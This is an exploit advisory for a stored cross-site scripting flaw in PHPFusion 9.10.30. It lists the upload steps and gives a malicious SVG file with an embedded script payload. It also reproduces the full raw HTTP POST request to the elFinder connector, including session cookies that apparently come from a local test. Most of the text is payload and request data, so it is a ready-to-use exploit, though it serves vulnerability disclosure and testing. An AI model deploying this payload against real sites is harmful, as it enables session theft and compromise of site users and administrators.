PHPFusion 9.10.30 Cross Site Scripting

`Exploit Title: PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS)  
Application: PHPFusion  
Version: 9.10.30  
Bugs: XSS  
Technology: PHP  
Vendor URL: https://www.php-fusion.co.uk/home.php  
Software Link: https://sourceforge.net/projects/php-fusion/  
Date of found: 28-04-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Go to Fusion file manager (http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553#elf_l1_Lw)  
2. upload malicious svg file  
  
svg file content ===>  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
  
  
poc request:  
  
  
POST /PHPFusion%209.10.30/files/includes/elFinder/php/connector.php?aid=ecf01599cf9cd553 HTTP/1.1  
Host: localhost  
Content-Length: 1198  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-platform: "Linux"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxF2jB690PpLWInAA  
Accept: */*  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: fusion2847q_lastvisit=1682673668; fusion2847q_user=1.1682850094.7126692a74723afe3bc7e3fb130a60838c1aa1bcae83f7497402ce9f009f96ff; fusion2847q_admin=1.1682850118.14c483fed28d5a89734c158bbb9aa88eab03a5c4a97316c372dd3b2591d6982a; fusion2847q_session=q0ifs4lhqt9fm6h3jclbea79vf; fusion2847q_visited=yes; usertbl_results=user_joined%2Cuser_lastvisit%2Cuser_groups; usertbl_status=0  
Connection: close  
  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="reqid"  
  
187c77be8e52cf  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="cmd"  
  
upload  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="target"  
  
l1_Lw  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="hashes[l1_U1ZHX1hTUy5zdmc]"  
  
SVG_XSS.svg  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert(document.location);  
</script>  
</svg>  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="mtime[]"  
  
1681116842  
------WebKitFormBoundaryxF2jB690PpLWInAA  
Content-Disposition: form-data; name="overwrite"  
  
0  
------WebKitFormBoundaryxF2jB690PpLWInAA--  
  
  
3. Then go to images (http://localhost/PHPFusion%209.10.30/files/administration/images.php?aid=ecf01599cf9cd553) or directly go to svg file(  
http://localhost/PHPFusion%209.10.30/files/images/SVG_XSS.svg)  
  
  
  
poc video : https://youtu.be/6yBLnRH8pOY  
  
`